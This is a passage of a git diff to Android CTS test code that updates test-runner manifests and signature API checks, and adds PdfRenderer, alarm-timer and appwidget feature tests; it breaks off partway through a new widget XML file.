 <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.okhttp">
     <uses-permission android:name="android.permission.INTERNET" />
-    <application>
+    <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.okhttp"
-                     android:label="CTS Libcore OkHttp test cases" />
+                     android:label="CTS Libcore OkHttp test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
 
 </manifest>
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 4e79b80..c3470cc 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -27,8 +27,6 @@
     </target_preparer>
     <test class="com.android.compatibility.testtype.LibcoreTest" >
         <option name="package" value="android.libcore.cts.okhttp" />
-        <option name="instrumentation-arg" key="listener"
-                value="com.android.cts.runner.CtsTestRunListener" />
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
index 15c5fd5..fb53977 100644
--- a/tests/libcore/wycheproof-bc/AndroidManifest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -23,6 +23,9 @@
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
-                     android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+                     android:label="CTS Libcore Wycheproof Bouncy Castle test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
 
 </manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 9c3a50a..ac761f3 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -26,8 +26,6 @@
              context of one of the suites, so we have to limit the test
              infrastructure to only running the test suites. -->
         <option name="test-package" value="android.libcore.cts.wycheproof" />
-        <option name="instrumentation-arg" key="listener"
-                value="com.android.cts.runner.CtsTestRunListener" />
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
index 765c677..5e8058f 100644
--- a/tests/libcore/wycheproof/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -23,6 +23,9 @@
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
-                     android:label="CTS Libcore Wycheproof Conscrypt test cases" />
+                     android:label="CTS Libcore Wycheproof Conscrypt test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
 
 </manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index b5874fd..0c713b9 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -26,8 +26,6 @@
              context of one of the suites, so we have to limit the test
              infrastructure to only running the test suites. -->
         <option name="test-package" value="android.libcore.cts.wycheproof" />
-        <option name="instrumentation-arg" key="listener"
-                value="com.android.cts.runner.CtsTestRunListener" />
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/pdf/res/raw/protected_pdf.pdf b/tests/pdf/res/raw/protected_pdf.pdf
new file mode 100644
index 0000000..e4092b9
--- /dev/null
+++ b/tests/pdf/res/raw/protected_pdf.pdf
Binary files differ
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
index 2f0158e..2ce69d1 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
@@ -62,6 +62,7 @@
     private static final int A5_PORTRAIT_PRINTSCALING_NONE =
             R.raw.a5_portrait_rgbb_1_6_printscaling_none;
     private static final int TWO_PAGES = R.raw.two_pages;
+    private static final int PROTECTED_PDF = R.raw.protected_pdf;
 
     private Context mContext;
 
@@ -76,12 +77,28 @@
     }
 
     @Test
-    @Ignore("Makes all subsequent tests fail")
     public void constructRendererFromNonPDF() throws Exception {
         // Open jpg as if it was a PDF
-        ParcelFileDescriptor fd = mContext.getResources().openRawResourceFd(R.raw.testimage)
-                .getParcelFileDescriptor();
-        verifyException(() -> new PdfRenderer(fd), IOException.class);
+        verifyException(() -> createRenderer(R.raw.testimage, mContext), IOException.class);
+    }
+
+    @Test
+    public void constructRendererFromProtectedPDF() throws Exception {
+        verifyException(() -> createRenderer(PROTECTED_PDF, mContext), SecurityException.class);
+    }
+
+    @Test
+    public void rendererRecoversAfterFailure() throws Exception {
+        // Create rendered to prevent lib from being unloaded
+        PdfRenderer firstRenderer = createRenderer(A4_PORTRAIT, mContext);
+
+        verifyException(() -> createRenderer(PROTECTED_PDF, mContext), SecurityException.class);
+
+        // We can create new renderers after we failed to create one
+        PdfRenderer renderer = createRenderer(TWO_PAGES, mContext);
+        renderer.close();
+
+        firstRenderer.close();
     }
 
     @Test
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 013cc4d..15fa178 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -30,8 +30,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-signature-common \
-    repackaged-legacy-test \
+    repackaged.android.test.base \
     repackaged.android.test.runner \
+    repackaged.android.test.mock \
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
diff --git a/tests/signature/api-check/android-test-base-27-api/Android.mk b/tests/signature/api-check/android-test-base-27-api/Android.mk
new file mode 100644
index 0000000..1adcb12c
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-27-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestBase27ApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    android-test-base-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
new file mode 100644
index 0000000..c65bfdf
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_base_26">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="27"/>
+
+    <application/>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_base_27"
+                     android:label="Android Test Base 27 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
new file mode 100644
index 0000000..c9cbd9a
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Base 27 API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestBase27ApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_base_27" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
index df69004..b382698 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
@@ -19,6 +19,6 @@
 LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
 
 LOCAL_SIGNATURE_API_FILES := \
-    apache-http-legacy-current.api \
+    apache-http-legacy-minus-current.api \
 
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index a5e69a9..a9db2b0 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -20,7 +20,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
+        <option name="push" value="apache-http-legacy-minus-current.api->/data/local/tmp/signature-test/apache-http-legacy-minus-current.api" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -29,7 +29,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-minus-current.api" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/legacy-test-26-api/Android.mk b/tests/signature/api-check/legacy-test-26-api/Android.mk
deleted file mode 100644
index 699bd0c..0000000
--- a/tests/signature/api-check/legacy-test-26-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyTest26ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    legacy-test-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
deleted file mode 100644
index 636dfd3..0000000
--- a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.legacy_test_26">
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
-    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="26"/>
-
-    <application/>
-
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
-                     android:targetPackage="android.signature.cts.api.legacy_test_26"
-                     android:label="Legacy Test 26 API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
deleted file mode 100644
index ecb3299..0000000
--- a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Legacy Test 26 API Signature test cases">
-    <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="legacy-test-current.api->/data/local/tmp/signature-test/legacy-test-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLegacyTest26ApiSignatureTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.signature.cts.api.legacy_test_26" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="instrumentation-arg" key="expected-api-files" value="legacy-test-current.api" />
-        <option name="runtime-hint" value="5s" />
-    </test>
-</configuration>
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
index 3473cfd..1ec58d7 100644
--- a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -58,6 +58,9 @@
         KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
         KNOWN_INACCESSIBLE_CLASSES.add(
                 "android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
     }
 
     private TestResultObserver mResultObserver;
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 71e33ae..abeae54 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -48,12 +48,12 @@
 
 include $(LOCAL_PATH)/build_xml_api_file.mk
 
-# current legacy-test api, in XML format.
+# current android-test-base api, in XML format.
 # ============================================================
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-legacy-test-current-api
-LOCAL_MODULE_STEM := legacy-test-current.api
-LOCAL_SRC_FILES := frameworks/base/legacy-test/api/legacy-test-current.txt
+LOCAL_MODULE := cts-android-test-base-current-api
+LOCAL_MODULE_STEM := android-test-base-current.api
+LOCAL_SRC_FILES := frameworks/base/test-base/api/android-test-base-current.txt
 
 include $(LOCAL_PATH)/build_xml_api_file.mk
 
@@ -62,7 +62,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-android-test-mock-current-api
 LOCAL_MODULE_STEM := android-test-mock-current.api
-LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-mock-current.txt
+LOCAL_SRC_FILES := frameworks/base/test-mock/api/android-test-mock-current.txt
 
 include $(LOCAL_PATH)/build_xml_api_file.mk
 
@@ -75,11 +75,28 @@
 
 include $(LOCAL_PATH)/build_xml_api_file.mk
 
-# current apache-http-legacy api, in XML format.
-# ==============================================
+# current apache-http-legacy minus current api, in text format.
+# =============================================================
+# Removes any classes from the org.apache.http.legacy API description that are
+# also part of the Android API description.
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-apache-http-legacy-current-api
-LOCAL_MODULE_STEM := apache-http-legacy-current.api
-LOCAL_SRC_FILES := external/apache-http/api/apache-http-legacy-current.txt
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
 
-include $(LOCAL_PATH)/build_xml_api_file.mk
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MODULE := cts-apache-http-legacy-minus-current-api
+LOCAL_MODULE_STEM := apache-http-legacy-minus-current.api
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : \
+        frameworks/base/api/current.txt \
+        external/apache-http/api/apache-http-legacy-current.txt \
+        | $(APICHECK)
+	@echo "Generate unique Apache Http Legacy API file -> $@"
+	@mkdir -p $(dir $@)
+	$(hide) $(APICHECK_COMMAND) -new_api_no_strip \
+	        frameworks/base/api/current.txt \
+            external/apache-http/api/apache-http-legacy-current.txt \
+            $@
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index 623973d..e23d4fa 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -15,7 +15,7 @@
 CtsSystemCurrentApiSignatureTestCases
 CtsAndroidTestMockCurrentApiSignatureTestCases
 CtsAndroidTestRunnerCurrentApiSignatureTestCases
-CtsLegacyTest26ApiSignatureTestCases
+CtsAndroidTestBase27ApiSignatureTestCases
 CtsApacheHttpLegacyCurrentApiSignatureTestCases
 "
 else
diff --git a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
index d469592..8f04d2a 100644
--- a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
+++ b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
@@ -24,8 +24,10 @@
 
     public enum TestcaseType {
         DISMISS_ALARM,
+        DISMISS_TIMER,
         SET_ALARM,
         SET_ALARM_FOR_DISMISSAL,
+        SET_TIMER_FOR_DISMISSAL,
         SNOOZE_ALARM,
     }
     public static final String TESTCASE_TYPE = "Testcase_type";
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
index ede762a..547203e 100644
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
+++ b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
@@ -78,12 +78,21 @@
                         AlarmClock.ALARM_SEARCH_MODE_NEXT);
                 break;
 
+            case DISMISS_TIMER:
+                intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+                break;
+
             case SET_ALARM_FOR_DISMISSAL:
             case SET_ALARM:
                 intent = new Intent(AlarmClock.ACTION_SET_ALARM);
                 intent.putExtra(AlarmClock.EXTRA_HOUR, 14);
                 break;
 
+            case SET_TIMER_FOR_DISMISSAL:
+                intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+                intent.putExtra(AlarmClock.EXTRA_LENGTH, 10);
+                break;
+
             case SNOOZE_ALARM:
                 intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
                 break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index 224c8ab..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -89,11 +89,19 @@
               intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
               break;
 
+          case DISMISS_TIMER:
+              intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+              break;
+
           case SET_ALARM:
           case SET_ALARM_FOR_DISMISSAL:
               intent = new Intent(AlarmClock.ACTION_SET_ALARM);
               break;
 
+          case SET_TIMER_FOR_DISMISSAL:
+              intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+              break;
+
           case SNOOZE_ALARM:
               intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
               break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
new file mode 100644
index 0000000..dff8835
--- /dev/null
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
@@ -0,0 +1,11 @@
+package android.alarmclock.cts;
+
+import android.alarmclock.common.Utils;
+
+public class DismissTimerTest extends AlarmClockTestBase {
+
+    public void testAll() throws Exception {
+        assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.SET_TIMER_FOR_DISMISSAL));
+        assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.DISMISS_TIMER));
+    }
+}
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index 462736a..e02e19d 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -26,7 +26,7 @@
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 
-    <application>
+    <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
 
         <activity android:name=".Activities$ActivityOne" />
diff --git a/tests/tests/appwidget/AndroidManifest.xml b/tests/tests/appwidget/AndroidManifest.xml
index 6f7d053..e7e7944 100644
--- a/tests/tests/appwidget/AndroidManifest.xml
+++ b/tests/tests/appwidget/AndroidManifest.xml
@@ -38,6 +38,30 @@
               android:resource="@xml/second_appwidget_info" />
       </receiver>
 
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider1" >
+          <intent-filter>
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+          </intent-filter>
+          <meta-data android:name="android.appwidget.provider"
+              android:resource="@xml/appwidget_info_with_feature1" />
+      </receiver>
+
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider2" >
+          <intent-filter>
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+          </intent-filter>
+          <meta-data android:name="android.appwidget.provider"
+              android:resource="@xml/appwidget_info_with_feature2" />
+      </receiver>
+
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider3" >
+          <intent-filter>
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+          </intent-filter>
+          <meta-data android:name="android.appwidget.provider"
+              android:resource="@xml/appwidget_info_with_feature3" />
+      </receiver>
+
       <service android:name="android.appwidget.cts.service.MyAppWidgetService"
           android:permission="android.permission.BIND_REMOTEVIEWS">
       </service>
diff --git a/tests/tests/appwidget/res/xml/appwidget_info_with_feature1.xml b/tests/tests/appwidget/res/xml/appwidget_info_with_feature1.xml
new file mode 100644
index 0000000..cadb283
--- /dev/null
+++ b/tests/tests/appwidget/res/xml/appwidget_info_with_feature1.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+    android:minWidth="@dimen/first_min_appwidget_size"
+    android:minHeight="@dimen/first_min_appwidget_size"
+    android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
+    android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+    android:updatePeriodMillis="@integer/first_update_period_millis"
+    android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
+    android:resizeMode="horizontal|vertical"
+    android:widgetCategory="home_screen|keyguard"
+    android:widgetFeatures="reconfigurable"
+    android:initialLayout="@layout/first_initial_layout"
+    android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
+    android:previewImage="@drawable/first_android_icon"
+    android:autoAdvanceViewId="@id/first_auto_advance_view_id">
+</appwidget-provider>
diff --git a/tests/tests/appwidget/res/xml/appwidget_info_with_feature2.xml b/tests/tests/appwidget/res/xml/appwidget_info_with_feature2.xml
new file mode 100644
index 0000000..89d60eb
--- /dev/null
+++ b/tests/tests/appwidget/res/xml/appwidget_info_with_feature2.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+    android:minWidth="@dimen/first_min_appwidget_size"
+    android:minHeight="@dimen/first_min_appwidget_size"
+    android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
+    android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+    android:updatePeriodMillis="@integer/first_update_period_millis"
+    android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
+    android:resizeMode="horizontal|vertical"
+    android:widgetCategory="home_screen|keyguard"
+    android:widgetFeatures="hide_from_picker"
+    android:initialLayout="@layout/first_initial_layout"
+    android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
+    android:previewImage="@drawable/first_android_icon"
+    android:autoAdvanceViewId="@id/first_auto_advance_view_id">
+</appwidget-provider>
diff --git a/tests/tests/appwidget/res/xml/appwidget_info_with_feature3.xml b/tests/tests/appwidget/res/xml/appwidget_info_with_feature3.xml
new file mode 100644
index 0000000..25936ab
--- /dev/null
+++ b/tests/tests/appwidget/res/xml/appwidget_info_with_feature3.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
